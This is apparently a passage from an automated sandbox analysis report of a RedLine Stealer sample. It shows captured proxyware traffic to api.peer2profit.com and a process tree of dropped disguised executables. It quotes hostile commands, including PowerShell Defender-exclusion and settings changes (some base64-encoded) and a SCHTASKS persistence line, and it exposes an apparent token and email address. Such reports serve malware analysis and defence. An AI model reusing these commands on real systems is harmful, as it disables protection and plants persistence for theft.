2022-11-24 15:59:11 UTC	63	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:11 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359afed26bbd9-FRA
2022-11-24 15:59:11 UTC	63	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.3	49991	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:11 UTC	64	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:11 UTC	64	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:11 UTC	64	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:11 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359b1a8f1bb97-FRA
2022-11-24 15:59:11 UTC	64	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.3	49995	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:11 UTC	64	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:11 UTC	64	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:11 UTC	65	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:11 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359b37fdcbb89-FRA
2022-11-24 15:59:11 UTC	65	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.3	49998	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:12 UTC	65	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:12 UTC	65	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:12 UTC	65	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:12 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359b57d1a9247-FRA
2022-11-24 15:59:12 UTC	66	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.3	50000	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:12 UTC	66	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:12 UTC	66	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:12 UTC	66	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:12 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359b72866913a-FRA
2022-11-24 15:59:12 UTC	66	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.3	50003	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:12 UTC	66	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:12 UTC	67	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:12 UTC	67	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:12 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359b8fb4b690f-FRA
2022-11-24 15:59:12 UTC	67	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.3	50005	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:13 UTC	67	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:13 UTC	67	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:13 UTC	67	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:13 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359badaed68fd-FRA
2022-11-24 15:59:13 UTC	68	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.3	50008	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:13 UTC	68	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:13 UTC	68	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:13 UTC	68	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:13 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f359bcb9a98ff4-FRA
2022-11-24 15:59:13 UTC	68	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: cfBJlHsOsz.exePID: 2572, Parent PID: 3452

General

Target ID:	0
Start time:	16:56:58
Start date:	24/11/2022
Path:	C:\Users\user\Desktop\cfBJlHsOsz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\cfBJlHsOsz.exe
Imagebase:	0x400000
File size:	248320 bytes
MD5 hash:	63C02BF79BA67E69DFB5B5F115986F8B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.247312905.0000000000462000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.248225794.000000000041C000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.248833515.000000000041C000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2956, Parent PID: 2572

General

Target ID:	1
Start time:	16:56:58
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vbc.exePID: 5072, Parent PID: 2572

General

Target ID:	2
Start time:	16:57:00
Start date:	24/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Imagebase:	0xb00000
File size:	2688096 bytes
MD5 hash:	B3A917344F5610BEEC562556F11300FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 3772, Parent PID: 2572

General

Target ID:	4
Start time:	16:57:01
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 248
Imagebase:	0x3f0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: brave.exePID: 1332, Parent PID: 5072

General

Target ID:	14
Start time:	16:57:34
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\brave.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Google\brave.exe"
Imagebase:	0x7ff6fc4c0000
File size:	2884608 bytes
MD5 hash:	9253ED091D81E076A3037E12AF3DC871
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 85%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 3560, Parent PID: 1332

General

Target ID:	15
Start time:	16:57:35
Start date:	24/11/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff79b370000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5524, Parent PID: 3560

General

Target ID:	16
Start time:	16:57:35
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: ofg.exePID: 4880, Parent PID: 5072

General

Target ID:	17
Start time:	16:57:36
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\ofg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Google\ofg.exe"
Imagebase:	0x840000
File size:	88064 bytes
MD5 hash:	33DAD992607D0FFD44D2C81FE67F8FB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM, Description: Detects executables embedding command execution via IExecuteCommand COM object, Source: C:\Users\user\AppData\Local\Google\ofg.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 27%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 6076, Parent PID: 4880

General

Target ID:	18
Start time:	16:57:36
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0xb30000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1500, Parent PID: 6076

General

Target ID:	19
Start time:	16:57:36
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: ofg.exePID: 2064, Parent PID: 1080

General

Target ID:	20
Start time:	16:57:37
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\ofg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Google\ofg.exe
Imagebase:	0x840000
File size:	88064 bytes
MD5 hash:	33DAD992607D0FFD44D2C81FE67F8FB1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 3196, Parent PID: 5072

General

Target ID:	21
Start time:	16:57:38
Start date:	24/11/2022
Path:	C:\Users\user\AppData\Local\Google\chrome.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Google\chrome.exe"
Imagebase:	0xf40000
File size:	6423552 bytes
MD5 hash:	8CD1EA50F8F4C45055400E70DA52B326
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 6136, Parent PID: 2064

General

Target ID:	22
Start time:	16:57:38
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Imagebase:	0xb30000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5892, Parent PID: 6136

General

Target ID:	23
Start time:	16:57:39
Start date:	24/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 4760, Parent PID: 3196

General

Target ID:	25
Start time:	16:57:42
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Imagebase:	0x13a0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 4420, Parent PID: 3196

General

Target ID:	26
Start time:	16:57:43
Start date:	24/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Imagebase:	0x13a0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5008, Parent PID: 4760

General

Target ID:	27
Start time:	16:57:43
